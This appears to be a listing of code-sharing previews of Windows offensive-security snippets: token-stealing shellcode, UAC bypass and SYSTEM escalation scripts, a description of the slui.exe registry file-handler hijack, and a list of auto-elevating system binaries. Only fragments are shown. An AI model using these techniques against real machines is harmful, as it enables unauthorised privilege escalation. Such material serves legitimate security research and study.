christoph2

import ctypes
import enum

#
#   Prerequisits:
#   -------------
#   If you are using Python < 3.4 run `pip install enum34`.
#
#   Problem Definition
#   ------------------

hugsy

;;
;; Token stealing shellcode for Windows 8.1 x64
;;

;; Save the current context on the stack
push rax
push rbx
push rcx

;; Get the current process

DiabloHorn

#!/usr/bin/env python
# DiabloHorn https://diablohorn.com
# blank out bytes taking into account the PE file format
# input file: base64 malware.exe | rev > enc.txt
import sys
import os
#pip install pefile
import pefile
import argparse
import logging

berzerk0

This gist has been DEPRECATED.

The official version is found at https://berzerk0.github.io/GitPage/CTF-Writeups/Europa-HTB.html

Updates, and editing will happen to the GITPAGE VERSIONS ONLY

CTF Writeup: Europa on HackTheBox

2 December 2017

makelariss

# -*- coding: UTF-8 -*-
import enum, os, sys
# https://twitter.com/highsenburger69
from ctypes.wintypes import *
from ctypes import *
# These libraries have the APIs we need
kernel32 = WinDLL('kernel32',  use_last_error=True)
advapi32 = WinDLL('advapi32',  use_last_error=True)
shell32  = WinDLL('shell32',   use_last_error=True)
psapi    = WinDLL('psapi.dll', use_last_error=True)

makelariss

C:\Windows\System32\bthudtask.exe:           			<autoElevate>true</autoElevate>
C:\Windows\System32\changepk.exe:             			<autoElevate>true</autoElevate>
C:\Windows\System32\ComputerDefaults.exe:         		<autoElevate>true</autoElevate>
C:\Windows\System32\dccw.exe:       				<autoElevate>true</autoElevate>
C:\Windows\System32\dcomcnfg.exe:           			<autoElevate>true</autoElevate>
C:\Windows\System32\DeviceEject.exe:             		<autoElevate>true</autoElevate>
C:\Windows\System32\DeviceProperties.exe:         		<autoElevate>true</autoElevate>
C:\Windows\System32\djoin.exe:         				<autoElevate>true</autoElevate>
C:\Windows\System32\easinvoker.exe:       			<autoElevate>true</autoElevate>
C:\Windows\System32\EASPolicyManagerBrokerHost.exe:       	<autoElevate>true</autoElevate>

makelariss

# -*- coding: utf-8 -*-
# All credits go to https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation
'''
slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking.
Read access to HKCU\Software\Classes\exefile\shell\open is performed upon execution.
Due to the registry key being accessible from user mode, an arbitrary executable file can be injected.
'''

from _winreg import *
HKCU = ConnectRegistry(None, HKEY_CURRENT_USER)

makelariss

# -*- coding: utf-8 -*-
# All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :))
# This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True.
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum

kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32  = WinDLL('shell32' , use_last_error=True)

makelariss

# -*- coding: UTF-8 -*-
# All credits go to: https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum

# These libraries have the APIs we need
kernel32 = WinDLL('kernel32',  use_last_error=True)
advapi32 = WinDLL('advapi32',  use_last_error=True)
psapi    = WinDLL('psapi.dll', use_last_error=True)

makelariss

# -*- coding: UTF-8 -*-
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum


# These libraries have the APIs we need
kernel32 = WinDLL('kernel32',    use_last_error=True)
advapi32 = WinDLL('advapi32',    use_last_error=True)
psapi    = WinDLL('psapi.dll',   use_last_error=True)